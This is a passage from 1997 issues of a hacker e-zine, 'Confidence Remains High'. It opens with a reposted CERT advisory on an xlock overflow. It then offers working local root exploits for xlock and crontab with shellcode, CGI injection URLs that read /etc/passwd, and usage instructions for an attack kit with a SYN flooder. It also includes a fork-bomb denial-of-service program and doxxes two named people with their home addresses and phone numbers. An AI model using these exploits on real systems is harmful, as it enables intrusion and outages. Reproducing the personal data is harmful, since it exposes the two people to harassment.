Appendix A of this advisory. Exploitation information involving this vulnerability has been made publicly available. Note that this problem is different from that discussed in CERT Advisory CA-97.11.libXt. II. Impact Local users are able to execute arbitrary programs as a privileged user without authorization. III. Solution Install a patch from your vendor as described in Solution A. If you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot install a patch immediately, we recommend Solution B. A. Obtain and install a patch for this problem. Below is a list of vendors who have provided information about xlock. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) Cray Research - A Silicon Graphics Company Data General Corporation Digital Equipment Corporation FreeBSD, Inc. Hewlett-Packard Company IBM Corporation LINUX NEC Corporation The Open Group [This group distributes the publicly available software that was formerly distributed by X Consortium] Solbourne Sun Microsystems, Inc. B. We recommend the following workaround if you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot install a patch immediately. 1. Find and disable any copies of xlock that exist on your system and that have the setuid or setgid bits set. 2. Install a version of xlock known to be immune to this vulnerablility. One such supported tool is xlockmore. The latest version of this tool is 4.02, and you should ensure that this is the version you are using. This utility can be obtained from the following site: ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz MD5 (xlockmore-4.02.tar.gz) = c158e6b4b99b3cff4b52b39219dbfe0e You can also obtain this version from mirror sites. A list of these sites will be displayed if you are not able to access the above archive due to load. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) ===================================== BSD/OS is not vulnerable to the problem in xlock since our xlock is not setuid. Cray Research - A Silicon Graphics Company ========================================== Cray Research does not include xlock in its X Window releases, so we are not at risk on the xlock buffer overflow problem. Data General Corporation ======================== The xlock sources (xlockmore-3.7) that DG includes in its contributed software package have been modified to remove this vulnerability. These will be available when release 8 comes out. We also recommend that our customers who have the current version should change the sprintf calls in resource.c to snprintf calls, rebuild and reinstall the package. Digital Equipment Corporation ============================= This reported problem is not present for Digital's ULTRIX or Digital UNIX Operating Systems Software. FreeBSD, Inc. ============= The xlockmore version we ship in our ports collection is vulnerable in all shipped releases. The port in FreeBSD-current is fixed. Solution is to install the latest xlockmore version (4.02). Hewlett-Packard Company ======================= We ship an suid root program vuelock that is based on xlock. It does have the vulnerability. The only workaround is to remove the executable, the patch is "in process". IBM Corporation =============== AIX is vulnerable to the conditions described in this advisory. The following APARs will be released soon: AIX 3.2: APAR IX68189 AIX 4.1: APAR IX68190 AIX 4.2: APAR IX68191 IBM and AIX are registered trademarks of International Business Machines Corporation. LINUX ===== Red Hat: Not vulnerable Caldera: Not vulnerable Debian: An updated package is on the Debian site SuSE: ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/S.u.S.E.-4.4.1/xap1/xlock And in general the new Xlockmore release fixes the problems. NEC Corporation =============== UX/4800 Not vulnerable for all versions. EWS-UX/V(Rel4.2MP) Not vulnerable for all versions. EWS-UX/V(Rel4.2) Not vulnerable for all versions. UP-UX/V(Rel4.2MP) Not vulnerable for all versions. The Open Group ============== Publicly available software that was formerly distributed by the X Consortium - Not vulnerable. Solbourne ========= Solbourne is not vulnerable to this attack. Sun Microsystems, Inc. ====================== We are producing patches for OpenWindows 3.0 for Sun OS versions 4.1.3_U1, 4.1.4, 5.3, 5.4, 5.5, and 5.5.1. ------------------------------------------------------------------------------- The CERT Coordination Center thanks David Hedley for reporting the original problem and Kaleb Keithley at The Open Group for his support in the development of this advisory. ------------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/). CERT/CC Contact Information ------------------------------ Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address ------------------------------------------------------------------------------- * Registered U.S. Patent and Trademark Office. Copyright 1997 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. The CERT Coordination Center is part of the Software Engineering Institute (SEI). The SEI is sponsored by the U.S. Department of Defense. ------------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-97.13.xlock http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM3DOFnVP+x0t4w7BAQH9MwQAwULlCDTqDbW+CiS0/Z36BtGf6Eqzx43B pEt72rQlQbw2AqRnHeq85dzVUB4eKmL0T//bGYyo0sCt+8nlFaS3cNYh0cyl3jdu JPDVoNhWB7v2+8nHvAEDz2UdomNVaxXDFvAbZ9JvEk/Ex6aFiXtl4qXdjxtcC4ze kGKLcu0+LzE= =nF5B -----END PGP SIGNATURE----- ------------------------------------------------------------------------------ The Exploit Code - not in the *ORIGINAL* CERT advisory ;] : ------------------------------------------------------------------------------ /* x86 XLOCK overflow exploit by cesaro@0wned.org 4/17/97 Original exploit framework - lpr exploit Usage: make xlock-exploit xlock-exploit Assumptions: xlock is suid root, and installed in /usr/X11/bin */ #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 996 long get_esp(void) { __asm__("movl %esp,%eax\n"); } int main(int argc, char *argv[]) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int dfltOFFSET = DEFAULT_OFFSET; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; if (argc > 1) dfltOFFSET = atoi(argv[1]); else printf("You can specify another offset as a parameter if you need...\n"); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + dfltOFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. IRiX WWW Server Bugs : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Number 1 : ---------- http://www.site.com/cgi-bin/wrap?/etc ...Lets you view the contents of the /etc/ directory, you can try others too.. Number 2 : ---------- http://www.site.com/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd ...Lets you view the /etc/passwd file, also try /etc/hosts to make sure the cgi script isn't a trap. You can also execute some kind of remote shell using webdist technique, but we are looking into it now... 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 9. Hacking Not-So-Electrical Items : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� y0h CrEw!@# T0daY wE WiLL LeArN tEw Hax0r.... TrEES!!! tReEs!!! TrEEs!!! TrEES!!! tReEs!!! TrEEs!!! TrEES!!! tReEs!!! TrEEs!!! YePpO! TrEEs! LiKe Da oNeZ j00 FiNd In YeR GaRdEn SoMeTiMeS!! oKaY, HeRe aRe THe k-LEeTo JuaReZ YeW wILL nEEd... 1 : A HaCk SaW 2 : CoMoFlAgUeD CLoThiNG 3 : a CoPPeR NaiL 4 : A hAmmER 5 : a GI-JoE AcTiOn FiGuRe (WiTH pArAChUte) 6 : a SmALL, wELL TrAiNeD InSecT, LiKe A bEE 7 : oNe LaPtOp ComPUtEr (wIv d0S 2.4 *OnLy*) 8 : OnE RS232 CaBlE OkAy CrEw! ThIs iS Da mAsTA PlAn!@# FiRsTly, aS WiTH mANy OtHer HaCks YoU WiLL nEEd tO ScAn Da PoRts Of ThE TrEE, dO ThIs By UsIng tHE SmALL, wELL TrAiNeD InSecT, LiKe A bEE, aS bEE's aRe ThE BeSt At SCannInG HiDDen PoRtz, WhEn ThE bEE HaS fOuND sOmE kEwL PoRtS (UsuALLy aT dA tOp oF Da TrEE) tIe ThE GI-JoE AcTiOn FiGuRe tO ThE bEE, aNd gEt HiM To PuT YeR Rs232 CaBle Up ThErE sO YeW CaN AcCesS dA PoRt Of Da TrEE! WhEn ThE rS232 cAbLE iS In pLACe, PuT oN ThE CaMofLAUgEd CloTHIng, AnD HiDe BeHiNd A bUsH WiTh YoUr LaPtOP, ThEn GeT ThE GI-JoE AcTiOn FiGuRe To PaRAcHute d0Wn dA TrEE, aNd GiVe YoU ThE OTheR EnD Of dA Rs232 CaBLe, ThEn gO InTo DoS AnD RuN tHiS PrOgRam In Gw-BASiC... 10 OPEN (COM PORT AND STUFF) 20 DATA "GIVE ME ALL YOUR K-LEET JUAREZ AND STUFF NOW, BECAUSE I OWN J00" 30 OPEN (ANOTHER PORT AND STUFF) 40 DATA "EYE BE W00PIN J00 F00L, PHEAR MUH ELEETNESS" 50 GOTO 10 ThIs ShOuLd cRaSh ThE TrEE, LeAvInG iT OpEn tO AtTaCk, NeXt TaKE ThE HaCk SaW AnD StArT cUtTiNg The BaRK oFF ThE TrEE (OnLy iN oNe pLaCe) ThE BArk AcTs LiKe a FiRewALL, AnD sO It MuSt Be tAkeN DoWN FirSt. NeXt CHecK On YoUr LaPtOp WheThEr ThE TrEE HaS GiVen yEw eLeeT JuArEz, iF NoT ThEN uSe The CoPPeR nAiL to rm -rf / ThE TrEE, HaMmEr The CoPPeR nAiL InTo The TrEE, AnD ThE TrEE WiLL bE rm'd WitHiN aBOUt A wEEk (dEw TeW 99999999999999 GB HaRd dRivE SPaCe) hAvE PhUn! MoRe NoT-So-LeCtiCaL iTeMz NeXt TimE!@~^&* TeEkAy. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Amnesty International Hacked : Article From cnet.com 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� http://www.news.com/News/Item/0,4,10135,00.html Amnesty International hacked By Janet Kornblum April 28, 1997, 3:15 p.m. PT Hackers broke into the Amnesty International home page over the weekend, altering it with a highly stylized, futuristic-looking graphic of a small child or baby smoking a cigarette. Amnesty International didn't know what the perpetrators wanted to accomplish with the hacking, which was strikingly apolitical considering the political nature of the target. Above the picture, the altered Web page read, "Who laughs last? We are the 4 man dream team, just proving one of many points." But just what those points were was lost on many, not the least of whom was Mike Blackstock, the system administrator for Ontario Internet Link, the small Canadian Internet service provider that hosts the Amnesty site for free. "As far as I can tell, they didn't do anything malicious," he said. "They replaced one page of Amnesty with a silly graphic of a kid smoking. This was not political as far as I could tell. The only politics I could think of was cigarettes." Beneath the picture, the page is signed, "Thanx to: so1o, modeX, XFli, mstrhelix...CodeZero uber alles!" This hack appears to be unrelated to other recent high-profile incidents, including one last week in which a Portuguese group broke in to Indonesian government Web pages to protest its treatment of East Timor. In that case, the hackers--referred to by many as "crackers" because they crack into systems--were quite clear about the reasons behind their action. In the case of the Amnesty page, Blackstone said the hackers only altered the Web page and did not cause major damage, though they could have done so if they wanted to. The altered page was up for a few hours, he said. Blackstone was busy plugging the security hole but pointed out that sites much bigger with higher profiles, such as the Air Force, the Central Intelligence Agency, and the Justice Department, also have been hacked. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. //sToRm// Of sIn Rips Port Pro : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Ummmm, on www.sinnerz.com //sToRm// has a lamefuck page with his k-leet w1nd0ze '95 juarez, coded in Visual Basic, with his "VB For Dummies" book, which include... DrSpewfy : Pile'O'Crap, why not get a nameserver and sirc? and actually be able to talk to people? DCCNewk : Chargen Flood? why not try like, SYN FLOOD? d0h.. Port Pro : Okay, original Port Pro is SHAREWARE, made by Blue Byte Software, and it is SOOO obvious that //sToRm// just did a little bit of hex editing, and B00oo00m! hes changed the authors name and shit to his own! but ummm, because of his EXTREME lameness, he didn't know how to change the program name, the version and the general interface and look of the program, what a LAME FUCK. I'm sure he will have Blue Byte on his fucking ass with Copyright and shit. h0h0h0h0h0!@# I doubt //sToRm// coded *ANYTHING* on that page, as DrSpewfy is just shit, and DCCNewk is just like the DCC Nuking code we put out in the CodeZero Technical Journal Issue 2 :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Digital Darkness Lives : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� It looked as if the DD wouldn't bring out a magazine this month, but they got a huge influx of submissions and live another day!@# if you want to submit anything for DD, mail spamman@erols.com or spaman@erols.com 'cos I ain't shure. Visit their page too : http://dd.home.ml.org 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. /home/sdr 0wned : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� sdr, a user of duncan.nac.net (owned by bspline - where all the cool people on efnet have their shells) was playing with the permissions in his home directory and he accidentally made the whole directory world readable, so then cold blood and others got all of sdr's k-leet y00nix juarez, and tar'd + gz'd them up and were distributing the sdr.tar.gz in #hack using XDCC :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Sendmail 8.8.4 Remote Is Out : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Yep, its been confirmed, the sendmail 884 remote exploit for ALL OS's is now out, there was some delay in r00t members getting the offsets needed for each Operating System, but now the technique is complete, and many 8.8.4 systems are vunerable. Sendmail 8.8.5 remote exploits are being looked into now. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. sIn inf0z Part 2 : The CodeZero 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ------------------------------------------------------------------------------- =-= w0wie!@# we g0t 2 n0w!! =-= ------------------------------------------------------------------------------- Alias : Evil Chick Real Name : Suzette Kimminau Address : 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Telephone : (206)454-7176 Email : evilchic@NWLINK.COM ------------------------------------------------------------------------------- Alias : \\StOrM\\ Real Name : Jason Sloderbeck Address : 5739 N Norton, Kansas City, MO 64119 USA Telephone : (816)453-8722 Email : storm@SINNERZ.COM ------------------------------------------------------------------------------- aS wE PrOMiSeD LasT t1me! eXpect m0re s00n! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ so1o of The CodeZero presents. \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ The CodeZero \-\=\-\=\-\=\-\=\-\=\-\= =/-/=/-/=/-/=/-/=/-/=/-/ Remote Attack Kit. \-\=\-\=\-\=\-\=\-\=\-\= =/-/=/-/=/-/=/-/=/-/=/-/ [CRAK] \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ .:. -=10/05/97=- .:. \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� w00 w00!! Now you can have k-leet skills like me! Firstly upload the crak.tar to a linux 2.0.x system, or to your own, then tar -xvf crack.tar to unzip the file, then move the files around and shit if you want to, then you're ready to go! Expect OS specific kits in later issues...And Multi-Scan s00n. =============================================================================== The Contents Of The Kit : =============================================================================== dnsscan : Mass DNS query program, gets lists of systems in entire countries, or all the systems on a network, like *.microsoft.com. phpscan : Scans hosts from a file and outputs a list of php vunerable sites. phpget : Gets files from php vunerable servers. phfscan : Scans hosts from a file and outputs a list of php vunerable sites. ident-scan: Scans all daemons running on ports and determines cool stuff. tcpprobe : Very simple portscanner. fingah : Uses an apache hole to finger systems if port 79 isnt open. synk4 : SYN flooder, basically kicks the shit out of systems. =============================================================================== Usages : =============================================================================== Use this command to unzip the crak.tar... % tar -xvf crak.tar then it will be copied into /crak, depending on the working directory.. DNSscan : --------- Usage: dnscan [-file ] [-domain ] [-sub ] -file Usages as a list of subdomains and servers to scan. -domain Lists all servers in a first level domain like com or net. -subdomain Lists all servers in a domain. The -domain mode will first create a file called 'domain.' with a list of all subdomains and their name servers, and then use that file in the -file mode. The input file needs to have the following format: [] To list all servers in Japan, do "dnscan -domain jp" To list all servers in the netcom domain, do "dnscan -sub netcom.com" PHPscan : --------- phpscan eg. phpscan domains.txt phpvunerable.txt PHPget : -------- phpget eg. phpget www.p1.com /etc/passwd PHFscan : --------- phfscan eg. phfscan domains.txt phfvunerable.txt Ident-Scan : ------------ ident-scan [low port] [high port] eg. ident-scan warped.arc.nasa.gov 1 9999 TCPprobe : ---------- tcpprobe eg. tcpprobe microsoft.com Fingah : -------- fingah eg. fingah www.p1.com root Synk4 : ------- synk4 if you use 0 as the source address, its puts the syn flooder into random ip mode, where the packets are sent from many different random sites. eg. synk4 0 fucked.com 1 23 Have Phun!@# =============================================================================== Where To Get CRAK.tar : Under CodeZero Linux Tools Section on www.codez.com =============================================================================== It can be unzipped with WinZip if you are in W1nd0ze too.. :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Well, that was issue 2, hope ya'll liked it, don't forget to visit... AnD ReMeMBer To LiNk To iT FrOm YouR SiTeZ!! =====================> http://www.codez.com NOW UP!@#* <===================== =====================> http://www.codez.com NOW UP!@#* <===================== =====================> http://www.codez.com NOW UP!@#* <===================== Until next time, when there will be 900 days until the year 2000... The CodeZero. =============================================================================== =====================> http://www.codez.com NOW UP!@#* <===================== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� crh003.txt100644 1751 12 324153 6355575606 10324 0ustar wheel컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. .oO Presents Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑� 갚꾼 昉굅 갚꾼 -C-O-N-F-i-D-E-N-C-E- -R-E-M-A-i-N-S- 昉굅 갚꾼 昉굅 갚꾼 � � � 複� � � 昉굅 갚꾼 昉굅굉昉굅굉� 白蔔 � � 複 白蔔 昉굅굉昉굅굉� 昉굅 갚꾼 � � � 白蔔 � � 昉굅 갚꾼 昉굅 갚꾼 Issue 003, July 15th 1997. 昉굅 갚꾼 昉굅 갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑갚꾼껑� Are you on a w1nd0ze / D0s system? We suggest you view this in EDIT.COM For added AsKii effects!@# 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR CoDeZ, U nOt CaTf00d!!#@" ---------------------------------- �--� HTTP://WWW.CODEZ.COM �--� ---------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This "Added Vitamins And Minerals" Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High Issue 3....................: Tetsu Khan 2. The Future.........................................: so1o -----=> Section B : Exploits And Code. 1. crontab b00gz......................................: unknown 2. DoS : superforker.c................................: Vio 3. Cool Bot Juarez : personal.tcl.....................: Scorn 4. imapd Remote Exploit...............................: aky / p1 5. Solaris 2.5.1 ps Exploit...........................: J. Zbiciak 6. handler CGI Hole...................................: so1o -----=> Section C : Phones / Scanning / Radio. 1. DTMF Decoder.......................................: xFli 2. Dealing With Directory Assistance Operators........: Qytpo 3. Russian fone #'s (+7 095 XXXxxxx)..................: CyberLirik -----=> Section D : Miscellaneous. 1. More sIn inf0z.....................................: The CodeZero + Friends 2. The Codez That NASA Use............................: so1o 3. Rooting From Bin...................................: so1o 4. DNS Spoofing.......................................: so1o 5. FreeNet............................................: TrN 6. Backdoors Revised..................................: Blk-Majik 7. One Last Thing About The Infamous pHf Technique....: so1o -----=> Section E : World News. 1. Some History.......................................: nobody 2. [GUNNAR] and MadSeason and sIn.....................: so1o 3. "Welcome to the [D]epartment of [O]wned [E]nergy"..: so1o ------=> Section F : Projects. 1. The CodeZero Remote Attack Kit Version 1.00 *FiNAL*: so1o -----=> Section G : The End. (+ Personal Column) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High Issue 3 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Because we just cannot keep the payments for www.codez.com up, and the server keeps going up and down and up and down, Confidence Remains High and CodeZero tools will soon be available at the following sites : http://insecurity.insecurity.org/codez/ [ main site, write it down :) ] http://www.7thsphere.com/hpvac/hacking.html [ CRH distro site ] http://www.r0ot.org [ CRH distro site ] Also available thru FTP... ftp.sekurity.org /users/so1o/ [ Codez distro site ] But we are hoping to set up a new SUPER DOMAIN!@# Expect that within the next issue or two, it will have... CooL o-DaY WaReZ eLeeT VMS hAx0RiN TeXt FiLeZ K-r4d ANSi!@# 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. The Future : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The Squirel is your friend, love the Squirel, trust the Squirel... so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. crontab b00gz : unknown 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* crontab bug */ #include #include long get_esp(void) { __asm__("movl %esp, %eax\n"); } main(int argc, char **argv) { int i, j, offset; char *bar, *foo; unsigned long *esp_plus = NULL; char mach_codes[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; if (argc == 2) offset = atoi(argv[1]); bar = malloc(4096); if (!bar){ fprintf(stderr, "failed to malloc memory\n"); exit(1); } foo = bar; /* copy of original ptr */ esp_plus = (long *)bar; for(i=0; i < 1024 ; i++) *(esp_plus++) = (get_esp() + offset); printf("Using offset (0x%x)\n", (get_esp() + offset)); bar = (char *)esp_plus; for(j=0; j< strlen(mach_codes); j++) *(bar++) = mach_codes[j]; *bar = 0; execl("/usr/bin/crontab", "crontab", foo, NULL); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. DoS : superforker.c : Vio 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This program is fucking evil, I have tested it on a few systems and it just screws them over and sloooOOooows them right down, you cant throw anything at the shell, its pretty sadistic... /* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the bugtraq This program is a beefed up classic denial of service fork()'er :) Compilation: on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c on my linux, I can compile it with both -DBSD_C and -DSYSV_C if your not sure, you can experiment, or compile it without any -D'efines In the future: SunOS signals ignored. Creation of random symlinks for more gory destruction. Using advanced technology coding to make the hard drive blow up with a loud boom and the console explode causing a nuclear meltdown. Direct All Suggestions And Flames to: Vio NOTE: this program is provided for educational purposes only, its author will not take any responsibility for any stupid things you will decide to do. this has been tested, but not the latest version of it. */ #include #include #include #include #include #include #include #define MAX_FILELEN 100 /* The _actual_ max length */ #define MAX_DIRLEN 10 #define START_DIR "/tmp" /* This can be substituted for any directory */ /* that you have write access to */ void dirs_generator(void); main(int argc, char *argv[]) { int fp; char *buff; char chr; unlink(argv[0]); /* You might wanna ignore all the signals you can ignore.. */ signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ 